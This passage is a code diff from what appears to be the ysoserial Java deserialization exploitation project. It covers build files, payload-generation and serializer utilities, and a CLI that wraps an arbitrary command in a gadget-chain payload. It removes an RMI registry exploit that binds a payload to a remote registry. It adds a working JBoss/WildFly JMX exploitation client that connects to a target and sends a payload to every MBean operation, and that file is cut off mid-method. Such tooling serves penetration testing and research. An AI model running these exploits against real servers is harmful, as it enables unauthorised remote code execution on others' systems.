* [marshalsec](https://github.com/frohoff/marshalsec): similar project for various Java deserialization formats/libraries
* [ysoserial.net](https://github.com/pwntester/ysoserial.net): similar project for .NET deserialization
+40
View File
@@ -0,0 +1,40 @@
# based on https://github.com/GoogleCloudPlatform/google-cloud-java/blob/master/appveyor.yml
# build version
version: '{build}'
# Do not build on tags
skip_tags: true
# enviroment settings
environment:
matrix:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
M2_HOME: C:\bin\apache-maven-3.2.5
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
MAVEN_OPTS: -Dhttps.protocols=TLSv1,TLSv1.1,TLSv1.2
- JAVA_HOME: C:\Program Files\Java\jdk1.8.0
matrix:
allow_failures:
- JAVA_HOME: C:\Program Files\Java\jdk1.6.0
- JAVA_HOME: C:\Program Files\Java\jdk1.7.0
# install required tools (maven, secure-file, encrypted files)
install:
- cmd: if not exist "C:\bin\apache-maven-3.2.5\bin\*.*" cinst maven --version 3.2.5 --allow-empty-checksums
- cmd: echo %JAVA_HOME%
- cmd: echo %M2_HOME%
# build and install artifacts
build_script:
- '"%M2_HOME%\bin\mvn" clean install -DskipTests'
# verify artifacts
test_script:
- '"%M2_HOME%\bin\mvn" test'
# preserve dependencies between builds
cache:
- C:\Users\appveyor\.m2
- C:\bin\apache-maven-3.2.5
+28
View File
@@ -0,0 +1,28 @@
<assembly
xmlns="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/plugins/maven-assembly-plugin/assembly/1.1.3 http://maven.apache.org/xsd/assembly-1.1.3.xsd">
<id>fat-tests</id>
<formats>
<format>jar</format>
</formats>
<includeBaseDirectory>false</includeBaseDirectory>
<dependencySets>
<dependencySet>
<outputDirectory>/</outputDirectory>
<useProjectArtifact>true</useProjectArtifact>
<unpack>true</unpack>
<scope>test</scope>
</dependencySet>
</dependencySets>
<fileSets>
<fileSet>
<directory>${project.build.directory}/test-classes</directory>
<outputDirectory>/</outputDirectory>
<includes>
<include>**/*.class</include>
</includes>
<useDefaultExcludes>true</useDefaultExcludes>
</fileSet>
</fileSets>
</assembly>
+337 -14
View File
@@ -4,11 +4,11 @@
<groupId>ysoserial</groupId> <groupId>ysoserial</groupId>
<artifactId>ysoserial</artifactId> <artifactId>ysoserial</artifactId>
<version>0.0.1-SNAPSHOT</version> <version>0.0.6-SNAPSHOT</version>
<packaging>jar</packaging> <packaging>jar</packaging>
<name>ysoserial</name> <name>ysoserial</name>
<url>http://maven.apache.org</url> <url>https://github.com/frohoff/ysoserial/</url>
<properties> <properties>
<project.build.sourceEncoding>UTF-8</project.build.sourceEncoding> <project.build.sourceEncoding>UTF-8</project.build.sourceEncoding>
@@ -19,10 +19,14 @@
<plugin> <plugin>
<groupId>org.apache.maven.plugins</groupId> <groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-compiler-plugin</artifactId> <artifactId>maven-compiler-plugin</artifactId>
<version>3.2</version> <version>3.5.1</version>
<configuration> <configuration>
<source>1.5</source> <!-- maximize compatibility -->
<target>1.5</target><!-- maximize compatibility --> <source>1.6</source>
<target>1.6</target>
<!-- ignore noisy internal api warnings -->
<compilerArgument>-XDignore.symbol.file</compilerArgument>
<fork>true</fork>
</configuration> </configuration>
</plugin> </plugin>
<plugin> <plugin>
@@ -35,9 +39,7 @@
<mainClass>ysoserial.GeneratePayload</mainClass> <mainClass>ysoserial.GeneratePayload</mainClass>
</manifest> </manifest>
</archive> </archive>
<descriptorRefs> <descriptor>assembly.xml</descriptor>
<descriptorRef>jar-with-dependencies</descriptorRef>
</descriptorRefs>
</configuration> </configuration>
<executions> <executions>
<execution> <execution>
@@ -49,9 +51,28 @@
</execution> </execution>
</executions> </executions>
</plugin> </plugin>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>3.0.0-M1</version>
<configuration>
<trimStackTrace>false</trimStackTrace>
<systemPropertyVariables>
<java.rmi.server.useCodebaseOnly>false</java.rmi.server.useCodebaseOnly>
</systemPropertyVariables>
</configuration>
</plugin>
</plugins> </plugins>
</build> </build>
<repositories>
<repository>
<id>jenkins</id>
<layout>default</layout>
<url>https://repo.jenkins-ci.org/public/</url>
</repository>
</repositories>
<dependencies> <dependencies>
<!-- testing depedencies --> <!-- testing depedencies -->
@@ -74,6 +95,13 @@
<version>1.8.0</version> <version>1.8.0</version>
<scope>test</scope> <scope>test</scope>
</dependency> </dependency>
<dependency>
<groupId>org.nanohttpd</groupId>
<artifactId>nanohttpd</artifactId>
<version>2.2.0</version>
<scope>test</scope>
</dependency>
<!-- non-gadget dependencies --> <!-- non-gadget dependencies -->
@@ -85,9 +113,70 @@
<dependency> <dependency>
<groupId>org.jboss.shrinkwrap.resolver</groupId> <groupId>org.jboss.shrinkwrap.resolver</groupId>
<artifactId>shrinkwrap-resolver-depchain</artifactId> <artifactId>shrinkwrap-resolver-depchain</artifactId>
<version>2.1.1</version> <version>2.2.6</version>
<type>pom</type> <type>pom</type>
</dependency> </dependency>
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.19.0-GA</version>
</dependency>
<dependency>
<groupId>com.nqzero</groupId>
<artifactId>permit-reflect</artifactId>
<version>0.3</version>
</dependency>
<dependency>
<groupId>commons-codec</groupId>
<artifactId>commons-codec</artifactId>
<version>1.9</version>
</dependency>
<dependency>
<groupId>commons-io</groupId>
<artifactId>commons-io</artifactId>
<version>2.6</version>
</dependency>
<dependency>
<artifactId>remoting</artifactId>
<groupId>org.jenkins-ci.main</groupId>
<version>2.55</version>
</dependency>
<dependency>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging</artifactId>
<version>3.3.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.remoting</groupId>
<artifactId>jboss-remoting</artifactId>
<version>4.0.19.Final</version>
</dependency>
<dependency>
<groupId>org.jboss</groupId>
<artifactId>jboss-common-core</artifactId>
<version>2.5.0.Final</version>
<exclusions>
<exclusion>
<groupId>org.jboss.logging</groupId>
<artifactId>jboss-logging-spi</artifactId>
</exclusion>
</exclusions>
</dependency>
<dependency>
<groupId>org.jboss.xnio</groupId>
<artifactId>xnio-nio</artifactId>
<version>3.3.4.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.sasl</groupId>
<artifactId>jboss-sasl</artifactId>
<version>1.0.5.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.remotingjmx</groupId>
<artifactId>remoting-jmx</artifactId>
<version>2.0.1.Final</version>
</dependency>
<!-- gadget dependecies --> <!-- gadget dependecies -->
@@ -97,14 +186,19 @@
<version>3.1</version> <version>3.1</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.beanshell</groupId>
<artifactId>commons-collections4</artifactId> <artifactId>bsh</artifactId>
<version>4.0</version> <version>2.0b5</version>
</dependency>
<dependency>
<groupId>commons-beanutils</groupId>
<artifactId>commons-beanutils</artifactId>
<version>1.9.2</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.apache.commons</groupId> <groupId>org.apache.commons</groupId>
<artifactId>commons-lang3</artifactId> <artifactId>commons-collections4</artifactId>
<version>3.1</version> <version>4.0</version>
</dependency> </dependency>
<dependency> <dependency>
<groupId>org.codehaus.groovy</groupId> <groupId>org.codehaus.groovy</groupId>
@@ -121,5 +215,234 @@
<artifactId>spring-beans</artifactId> <artifactId>spring-beans</artifactId>
<version>4.1.4.RELEASE</version> <version>4.1.4.RELEASE</version>
</dependency> </dependency>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>4.3.11.Final</version>
</dependency>
<dependency>
<groupId>org.springframework</groupId>
<artifactId>spring-aop</artifactId>
<version>4.1.4.RELEASE</version>
</dependency>
<dependency>
<groupId>net.sf.json-lib</groupId>
<artifactId>json-lib</artifactId>
<classifier>jdk15</classifier>
<version>2.4</version>
</dependency>
<dependency>
<groupId>commons-fileupload</groupId>
<artifactId>commons-fileupload</artifactId>
<version>1.3</version>
</dependency>
<dependency>
<groupId>org.apache.wicket</groupId>
<artifactId>wicket-util</artifactId>
<version>6.23.0</version>
</dependency>
<dependency>
<groupId>com.mchange</groupId>
<artifactId>c3p0</artifactId>
<version>0.9.5.2</version>
</dependency>
<dependency>
<groupId>javax.servlet</groupId>
<artifactId>javax.servlet-api</artifactId>
<version>3.1.0</version>
</dependency>
<dependency>
<groupId>org.apache.myfaces.core</groupId>
<artifactId>myfaces-impl</artifactId>
<version>2.2.9</version>
</dependency>
<dependency>
<groupId>xalan</groupId>
<artifactId>xalan</artifactId>
<version>2.7.2</version>
</dependency>
<dependency>
<groupId>rome</groupId>
<artifactId>rome</artifactId>
<version>1.0</version>
</dependency>
<dependency>
<groupId>org.python</groupId>
<artifactId>jython-standalone</artifactId>
<version>2.5.2</version>
</dependency>
<dependency>
<groupId>rhino</groupId>
<artifactId>js</artifactId>
<version>1.7R2</version>
</dependency>
<dependency>
<groupId>javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.12.0.GA</version>
</dependency>
<dependency>
<groupId>org.jboss.weld</groupId>
<artifactId>weld-core</artifactId>
<version>1.1.33.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.interceptor</groupId>
<artifactId>jboss-interceptor-core</artifactId>
<version>2.0.0.Final</version>
</dependency>
<dependency>
<groupId>org.jboss.interceptor</groupId>
<artifactId>jboss-interceptor-spi</artifactId>
<version>2.0.0.Final</version>
</dependency>
<dependency>
<groupId>javax.enterprise</groupId>
<artifactId>cdi-api</artifactId>
<version>1.0-SP1</version>
</dependency>
<dependency>
<groupId>javax.interceptor</groupId>
<artifactId>javax.interceptor-api</artifactId>
<version>3.1</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-api</artifactId>
<version>1.7.21</version>
</dependency>
<dependency>
<groupId>org.slf4j</groupId>
<artifactId>slf4j-jdk14</artifactId>
<version>1.7.21</version>
</dependency>
<dependency>
<groupId>org.clojure</groupId>
<artifactId>clojure</artifactId>
<version>1.8.0</version>
</dependency>
<dependency>
<groupId>com.vaadin</groupId>
<artifactId>vaadin-server</artifactId>
<version>7.7.14</version>
</dependency>
<dependency>
<groupId>org.aspectj</groupId>
<artifactId>aspectjweaver</artifactId>
<version>1.9.5</version>
</dependency>
<dependency>
<groupId>org.apache.click</groupId>
<artifactId>click-nodeps</artifactId>
<version>2.3.0</version>
</dependency>
</dependencies> </dependencies>
<profiles>
<profile>
<id>jdk6</id>
<activation>
<jdk>1.6</jdk>
</activation>
<build>
<plugins>
<plugin>
<groupId>org.apache.maven.plugins</groupId>
<artifactId>maven-surefire-plugin</artifactId>
<version>2.22.1</version>
</plugin>
</plugins>
</build>
<dependencies>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
<!-- workaround for non-overlapping TLS versions in JDK6 and central repo
https://central.sonatype.org/articles/2018/May/04/discontinued-support-for-tlsv11-and-below/ -->
<repositories>
<repository>
<id>repo1</id>
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
</repository>
</repositories>
<pluginRepositories>
<pluginRepository>
<id>repo1</id>
<url>http://repo1.maven.org/maven2</url><!-- intentionally http (see above) -->
</pluginRepository>
</pluginRepositories>
</profile>
<profile>
<id>hibernate5</id>
<activation>
<property>
<name>hibernate5</name>
</property>
</activation>
<dependencies>
<dependency>
<groupId>org.hibernate</groupId>
<artifactId>hibernate-core</artifactId>
<version>5.0.7.Final</version>
</dependency>
<dependency>
<groupId>javax.el</groupId>
<artifactId>javax.el-api</artifactId>
<version>3.0.0</version>
</dependency>
</dependencies>
</profile>
<profile>
<id>apache-el</id>
<activation>
<activeByDefault>true</activeByDefault>
<property>
<name>el</name>
<value>apache</value>
</property>
</activation>
<dependencies>
<dependency>
<groupId>org.mortbay.jasper</groupId>
<artifactId>apache-el</artifactId>
<version>8.0.27</version>
</dependency>
</dependencies>
</profile>
<profile>
<id>juel</id>
<activation>
<property>
<name>el</name>
<value>juel</value>
</property>
</activation>
<dependencies>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-impl</artifactId>
<version>2.2.7</version>
</dependency>
<dependency>
<groupId>de.odysseus.juel</groupId>
<artifactId>juel-api</artifactId>
<version>2.2.7</version>
</dependency>
</dependencies>
</profile>
</profiles>
<distributionManagement>
<repository>
<id>github</id>
<name>GitHub Packages</name>
<url>https://maven.pkg.github.com/frohoff/ysoserial</url>
</repository>
</distributionManagement>
</project> </project>
-18
View File
@@ -1,18 +0,0 @@
package ysoserial;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import ysoserial.payloads.util.Serializables;
/*
* for testing payloads across process boundaries
*/
public class Deserialize {
public static void main(final String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Serializables.deserialize(in);
}
}
+34
View File
@@ -0,0 +1,34 @@
package ysoserial;
import java.io.ByteArrayInputStream;
import java.io.File;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;
import java.io.ObjectInputStream;
import java.util.concurrent.Callable;
public class Deserializer implements Callable<Object> {
private final byte[] bytes;
public Deserializer(byte[] bytes) { this.bytes = bytes; }
public Object call() throws Exception {
return deserialize(bytes);
}
public static Object deserialize(final byte[] serialized) throws IOException, ClassNotFoundException {
final ByteArrayInputStream in = new ByteArrayInputStream(serialized);
return deserialize(in);
}
public static Object deserialize(final InputStream in) throws ClassNotFoundException, IOException {
final ObjectInputStream objIn = new ObjectInputStream(in);
return objIn.readObject();
}
public static void main(String[] args) throws ClassNotFoundException, IOException {
final InputStream in = args.length == 0 ? System.in : new FileInputStream(new File(args[0]));
Object object = deserialize(in);
}
}
+30 -44
View File
@@ -1,20 +1,15 @@
package ysoserial; package ysoserial;
import java.io.ObjectOutputStream; import java.io.PrintStream;
import java.util.ArrayList; import java.util.*;
import java.util.Collection;
import java.util.Collections;
import java.util.Comparator;
import java.util.List;
import java.util.Set;
import org.reflections.Reflections;
import ysoserial.payloads.ObjectPayload; import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.annotation.Authors;
import ysoserial.payloads.annotation.Dependencies;
@SuppressWarnings("rawtypes") @SuppressWarnings("rawtypes")
public class GeneratePayload { public class GeneratePayload {
private static final int INTERNAL_ERROR_CODE = 70; private static final int INTERNAL_ERROR_CODE = 70;
private static final int USAGE_CODE = 64; private static final int USAGE_CODE = 64;
@@ -26,19 +21,21 @@ public class GeneratePayload {
final String payloadType = args[0]; final String payloadType = args[0];
final String command = args[1]; final String command = args[1];
final Class<? extends ObjectPayload> payloadClass = getPayloadClass(payloadType); final Class<? extends ObjectPayload> payloadClass = Utils.getPayloadClass(payloadType);
if (payloadClass == null || !ObjectPayload.class.isAssignableFrom(payloadClass)) { if (payloadClass == null) {
System.err.println("Invalid payload type '" + payloadType + "'"); System.err.println("Invalid payload type '" + payloadType + "'");
printUsage(); printUsage();
System.exit(USAGE_CODE); System.exit(USAGE_CODE);
return; // make null analysis happy
} }
try { try {
final ObjectPayload payload = payloadClass.newInstance(); final ObjectPayload payload = payloadClass.newInstance();
final Object object = payload.getObject(command); final Object object = payload.getObject(command);
final ObjectOutputStream objOut = new ObjectOutputStream(System.out); PrintStream out = System.out;
objOut.writeObject(object); Serializer.serialize(object, out);
} catch (Exception e) { ObjectPayload.Utils.releasePayload(payload, object);
} catch (Throwable e) {
System.err.println("Error while generating or serializing payload"); System.err.println("Error while generating or serializing payload");
e.printStackTrace(); e.printStackTrace();
System.exit(INTERNAL_ERROR_CODE); System.exit(INTERNAL_ERROR_CODE);
@@ -46,41 +43,30 @@ public class GeneratePayload {
System.exit(0); System.exit(0);
} }
@SuppressWarnings("unchecked")
private static Class<? extends ObjectPayload> getPayloadClass(final String className) {
try {
return (Class<? extends ObjectPayload>) Class.forName(className);
} catch (Exception e1) {
}
try {
return (Class<? extends ObjectPayload>) Class.forName(GeneratePayload.class.getPackage().getName()
+ ".payloads." + className);
} catch (Exception e2) {
}
return null;
}
private static void printUsage() { private static void printUsage() {
System.err.println("Y SO SERIAL?"); System.err.println("Y SO SERIAL?");
System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload type] '[command to execute]'"); System.err.println("Usage: java -jar ysoserial-[version]-all.jar [payload] '[command]'");
System.err.println("\tAvailable payload types:"); System.err.println(" Available payload types:");
final List<Class<? extends ObjectPayload>> payloadClasses = final List<Class<? extends ObjectPayload>> payloadClasses =
new ArrayList<Class<? extends ObjectPayload>>(getPayloadClasses()); new ArrayList<Class<? extends ObjectPayload>>(ObjectPayload.Utils.getPayloadClasses());
Collections.sort(payloadClasses, new ToStringComparator()); // alphabetize Collections.sort(payloadClasses, new Strings.ToStringComparator()); // alphabetize
final List<String[]> rows = new LinkedList<String[]>();
rows.add(new String[] {"Payload", "Authors", "Dependencies"});
rows.add(new String[] {"-------", "-------", "------------"});
for (Class<? extends ObjectPayload> payloadClass : payloadClasses) { for (Class<? extends ObjectPayload> payloadClass : payloadClasses) {
System.err.println("\t\t" + payloadClass.getSimpleName()); rows.add(new String[] {
} payloadClass.getSimpleName(),
Strings.join(Arrays.asList(Authors.Utils.getAuthors(payloadClass)), ", ", "@", ""),
Strings.join(Arrays.asList(Dependencies.Utils.getDependenciesSimple(payloadClass)),", ", "", "")
});
} }
// get payload classes by classpath scanning final List<String> lines = Strings.formatTable(rows);
private static Collection<Class<? extends ObjectPayload>> getPayloadClasses() {
final Reflections reflections = new Reflections(GeneratePayload.class.getPackage().getName());
final Set<Class<? extends ObjectPayload>> payloadTypes = reflections.getSubTypesOf(ObjectPayload.class);
return payloadTypes;
}
public static class ToStringComparator implements Comparator<Object> { for (String line : lines) {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); } System.err.println(" " + line);
}
} }
} }
@@ -1,23 +0,0 @@
package ysoserial;
import java.rmi.Remote;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
import ysoserial.payloads.CommonsCollections1;
import ysoserial.payloads.ObjectPayload;
import ysoserial.payloads.util.Gadgets;
/*
* Utility program for exploiting RMI registries running with required gadgets available in their ClassLoader
*/
public class RMIRegistryExploit {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.getRegistry(args[0], Integer.parseInt(args[1]));
String className = CommonsCollections1.class.getPackage().getName() + "." + args[2];
Class<? extends ObjectPayload> payloadClass = (Class<? extends ObjectPayload>) Class.forName(className);
Object payload = payloadClass.newInstance().getObject(args[3]);
Remote remote = Gadgets.createMemoitizedProxy(Gadgets.createMap("pwned", payload), Remote.class);
registry.bind("pwned", remote);
}
}
+30
View File
@@ -0,0 +1,30 @@
package ysoserial;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.ObjectOutputStream;
import java.io.OutputStream;
import java.util.concurrent.Callable;
public class Serializer implements Callable<byte[]> {
private final Object object;
public Serializer(Object object) {
this.object = object;
}
public byte[] call() throws Exception {
return serialize(object);
}
public static byte[] serialize(final Object obj) throws IOException {
final ByteArrayOutputStream out = new ByteArrayOutputStream();
serialize(obj, out);
return out.toByteArray();
}
public static void serialize(final Object obj, final OutputStream out) throws IOException {
final ObjectOutputStream objOut = new ObjectOutputStream(out);
objOut.writeObject(obj);
}
}
+55
View File
@@ -0,0 +1,55 @@
package ysoserial;
import org.apache.commons.lang.StringUtils;
import java.util.Arrays;
import java.util.Comparator;
import java.util.LinkedList;
import java.util.List;
public class Strings {
public static String join(Iterable<String> strings, String sep, String prefix, String suffix) {
final StringBuilder sb = new StringBuilder();
boolean first = true;
for (String s : strings) {
if (! first) sb.append(sep);
if (prefix != null) sb.append(prefix);
sb.append(s);
if (suffix != null) sb.append(suffix);
first = false;
}
return sb.toString();
}
public static String repeat(String str, int num) {
final String[] strs = new String[num];
Arrays.fill(strs, str);
return join(Arrays.asList(strs), "", "", "");
}
public static List<String> formatTable(List<String[]> rows) {
final Integer[] maxLengths = new Integer[rows.get(0).length];
for (String[] row : rows) {
if (maxLengths.length != row.length) throw new IllegalStateException("mismatched columns");
for (int i = 0; i < maxLengths.length; i++) {
if (maxLengths[i] == null || maxLengths[i] < row[i].length()) {
maxLengths[i] = row[i].length();
}
}
}
final List<String> lines = new LinkedList<String>();
for (String[] row : rows) {
for (int i = 0; i < maxLengths.length; i++) {
final String pad = repeat(" ", maxLengths[i] - row[i].length());
row[i] = row[i] + pad;
}
lines.add(join(Arrays.asList(row), " ", "", ""));
}
return lines;
}
public static class ToStringComparator implements Comparator<Object> {
public int compare(Object o1, Object o2) { return o1.toString().compareTo(o2.toString()); }
}
}
+424
View File
@@ -0,0 +1,424 @@
package ysoserial.exploit;
import java.io.IOException;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.net.InetSocketAddress;
import java.net.MalformedURLException;
import java.net.SocketAddress;
import java.net.URI;
import java.security.KeyManagementException;
import java.security.NoSuchAlgorithmException;
import java.security.NoSuchProviderException;
import java.util.HashMap;
import java.util.Map;
import java.util.Set;
import java.util.concurrent.Executor;
import java.util.concurrent.ExecutorService;
import java.util.concurrent.Executors;
import java.util.concurrent.ThreadFactory;
import java.util.concurrent.TimeUnit;
import java.util.logging.Handler;
import java.util.logging.Level;
import java.util.logging.LogManager;
import java.util.logging.LogRecord;
import java.util.logging.Logger;
import javax.management.InstanceNotFoundException;
import javax.management.IntrospectionException;
import javax.management.MBeanInfo;
import javax.management.MBeanOperationInfo;
import javax.management.MBeanServerConnection;
import javax.management.ObjectInstance;
import javax.management.ReflectionException;
import javax.management.remote.JMXServiceURL;
import javax.security.auth.callback.Callback;
import javax.security.auth.callback.CallbackHandler;
import javax.security.auth.callback.NameCallback;
import javax.security.auth.callback.PasswordCallback;
import javax.security.auth.callback.UnsupportedCallbackException;
import javax.security.sasl.RealmCallback;
import org.jboss.remoting3.Channel;
import org.jboss.remoting3.Connection;
import org.jboss.remoting3.Endpoint;
import org.jboss.remoting3.OpenListener;
import org.jboss.remoting3.Remoting;
import org.jboss.remoting3.remote.HttpUpgradeConnectionProviderFactory;
import org.jboss.remoting3.spi.ConnectionHandler;
import org.jboss.remoting3.spi.ConnectionHandlerContext;
import org.jboss.remoting3.spi.ConnectionHandlerFactory;
import org.jboss.remoting3.spi.ConnectionProvider;
import org.jboss.remoting3.spi.ConnectionProviderContext;
import org.jboss.remoting3.spi.RegisteredService;
import org.jboss.remotingjmx.VersionedConnection;
import org.xnio.FutureResult;
import org.xnio.IoFuture;
import org.xnio.IoFuture.Status;
import org.xnio.OptionMap;
import org.xnio.Options;
import org.xnio.Xnio;
import org.xnio.XnioWorker;
import org.xnio.ssl.JsseXnioSsl;
import org.xnio.ssl.XnioSsl;
import ysoserial.payloads.ObjectPayload.Utils;
import ysoserial.payloads.util.Reflections;
/**
*
* An exploitation client for JBoss AS/Wildfly JMX
*
* JBoss is using a custom tunneled protocol for JMX, this is a client for this protocol.
*
* This is not as readily exploitable as in other pieces of software:
* 1. they only allow authenticated access by default
* 2. they have a very strict module architecture:
* - all MBeans exported by default use classloaders that expose almost nothing useful
* - the module classloaders do not even expose the full boot classpath, so we cannot readily use stuff like
* com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl
*
* This client enumerates all application exported MBean method which are then called
* delivering the specified payload.
*
* I.e. you can succesfully exploit that
* - you have access to the interface
* (username/password can be specified via URL, note: despite not noticeable,
* local connections implicitely use authentication)
* - there is an application exported MBean
* - that application imports the classes required for the gadget chain
*
* @author mbechler
*
*/
@SuppressWarnings ( {
"rawtypes"
} )
public class JBoss {
public static void main ( String[] args ) {
if ( args.length < 3 ) {
System.err.println("Usage " + JBoss.class.getName() + " <uri> <payload> <payload_arg>");
System.exit(-1);
}
URI u = URI.create(args[ 0 ]);
final Object payloadObject = Utils.makePayloadObject(args[1], args[2]);
String username = null;
String password = null;
if ( u.getUserInfo() != null ) {
int sep = u.getUserInfo().indexOf(':');
if ( sep >= 0 ) {
username = u.getUserInfo().substring(0, sep);
password = u.getUserInfo().substring(sep + 1);
}
else {
System.err.println("Need <user>:<password>@");
System.exit(-1);
}
}
doRun(u, payloadObject, username, password);
Utils.releasePayload(args[1], payloadObject);
}
private static void doRun ( URI u, final Object payloadObject, String username, String password ) {
ConnectionProvider instance = null;
ConnectionProviderContextImpl context = null;
ConnectionHandler ch = null;
Channel c = null;
VersionedConnection vc = null;
try {
Logger logger = LogManager.getLogManager().getLogger("");
logger.addHandler(new ConsoleLogHandler());
logger.setLevel(Level.INFO);
OptionMap options = OptionMap.builder().set(Options.SSL_ENABLED, u.getScheme().equals("https")).getMap();
context = new ConnectionProviderContextImpl(options, "endpoint");
instance = new HttpUpgradeConnectionProviderFactory().createInstance(context, options);
String host = u.getHost();
int port = u.getPort() > 0 ? u.getPort() : 9990;
SocketAddress destination = new InetSocketAddress(host, port);
ConnectionHandlerFactory chf = getConnection(destination, username, password, context, instance, options);
ch = chf.createInstance(new ConnectionHandlerContextImpl(context));
c = getChannel(context, ch, options);
System.err.println("Connected");
vc = makeVersionedConnection(c);
MBeanServerConnection mbc = vc.getMBeanServerConnection(null);
doExploit(payloadObject, mbc);
System.err.println("DONE");
}
catch ( Throwable e ) {
e.printStackTrace(System.err);
}
finally {
cleanup(instance, context, ch, c, vc);
}
}
private static void cleanup ( ConnectionProvider instance, ConnectionProviderContextImpl context, ConnectionHandler ch, Channel c,
VersionedConnection vc ) {
if ( vc != null ) {
vc.close();
}
if ( c != null ) {
try {
c.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( ch != null ) {
try {
ch.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( instance != null ) {
try {
instance.close();
}
catch ( IOException e ) {
e.printStackTrace(System.err);
}
}
if ( context != null ) {
context.getXnioWorker().shutdown();
}
}
private static ConnectionHandlerFactory getConnection ( SocketAddress destination, final String username, final String password,
ConnectionProviderContextImpl context, ConnectionProvider instance, OptionMap options )
throws IOException, InterruptedException, KeyManagementException, NoSuchProviderException, NoSuchAlgorithmException {
XnioSsl xnioSsl = new JsseXnioSsl(context.getXnio(), options);
FutureResult<ConnectionHandlerFactory> result = new FutureResult<ConnectionHandlerFactory>();
instance.connect(null, destination, options, result, new CallbackHandler() {
public void handle ( Callback[] callbacks ) throws IOException, UnsupportedCallbackException {
for ( Callback cb : callbacks ) {
if ( cb instanceof NameCallback ) {
( (NameCallback) cb ).setName(username);
}
else if ( cb instanceof PasswordCallback ) {
( (PasswordCallback) cb ).setPassword(password != null ? password.toCharArray() : new char[0]);
}
else if ( !( cb instanceof RealmCallback) ) {
System.err.println(cb);
throw new UnsupportedCallbackException(cb);
}
}
}
}, xnioSsl);
System.err.println("waiting for connection");
IoFuture<ConnectionHandlerFactory> ioFuture = result.getIoFuture();
Status s = ioFuture.await(5, TimeUnit.SECONDS);
if ( s == Status.FAILED ) {
System.err.println("Cannot connect");
if ( ioFuture.getException() != null ) {
ioFuture.getException().printStackTrace(System.err);
}
}
else if ( s != Status.DONE ) {
ioFuture.cancel();
System.err.println("Connect timeout");
System.exit(-1);
}
ConnectionHandlerFactory chf = ioFuture.getInterruptibly();
return chf;
}
private static Channel getChannel ( ConnectionProviderContextImpl context, ConnectionHandler ch, OptionMap options ) throws IOException {
Channel c;
FutureResult<Channel> chResult = new FutureResult<Channel>(context.getExecutor());
ch.open("jmx", chResult, options);
IoFuture<Channel> cFuture = chResult.getIoFuture();
Status s2 = cFuture.await();
if ( s2 == Status.FAILED ) {
System.err.println("Cannot connect");
if ( cFuture.getException() != null ) {
throw new IOException("Connect failed", cFuture.getException());
}
}
else if ( s2 != Status.DONE ) {
cFuture.cancel();
throw new IOException("Connect timeout");
}
c = cFuture.get();
return c;
}
private static VersionedConnection makeVersionedConnection ( Channel c )
throws ClassNotFoundException, NoSuchMethodException, IllegalAccessException, InvocationTargetException, MalformedURLException {
VersionedConnection vc;
Class<?> vcf = Class.forName("org.jboss.remotingjmx.VersionedConectionFactory");
Method vcCreate = vcf.getDeclaredMethod("createVersionedConnection", Channel.class, Map.class, JMXServiceURL.class);
Reflections.setAccessible(vcCreate);
vc = (VersionedConnection) vcCreate.invoke(null, c, new HashMap(), new JMXServiceURL("service:jmx:remoting-jmx://"));
return vc;
}
private static void doExploit ( final Object payloadObject, MBeanServerConnection mbc )
throws IOException, InstanceNotFoundException, IntrospectionException, ReflectionException {
Object[] params = new Object[1];
params[ 0 ] = payloadObject;
System.err.println("Querying MBeans");
Set<ObjectInstance> testMBeans = mbc.queryMBeans(null, null);
System.err.println("Found " + testMBeans.size() + " MBeans");
for ( ObjectInstance oi : testMBeans ) {
MBeanInfo mBeanInfo = mbc.getMBeanInfo(oi.getObjectName());
for ( MBeanOperationInfo opInfo : mBeanInfo.getOperations() ) {
try {
mbc.invoke(oi.getObjectName(), opInfo.getName(), params, new String[] {});
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> SUCCESS");
return;
}
catch ( Throwable e ) {
String msg = e.getMessage();
if ( msg.startsWith("java.lang.ClassNotFoundException:") ) {
int start = msg.indexOf('"');
int stop = msg.indexOf('"', start + 1);
String module = ( start >= 0 && stop > 0 ) ? msg.substring(start + 1, stop) : "<unknown>";
if ( !"<unknown>".equals(module) && !"org.jboss.as.jmx:main".equals(module) ) {
int cstart = msg.indexOf(':');
int cend = msg.indexOf(' ', cstart + 2);
String cls = msg.substring(cstart + 2, cend);
System.err.println(oi.getObjectName() + ":" + opInfo.getName() + " -> FAIL CNFE " + cls + " (" + module + ")");
}
}
else {
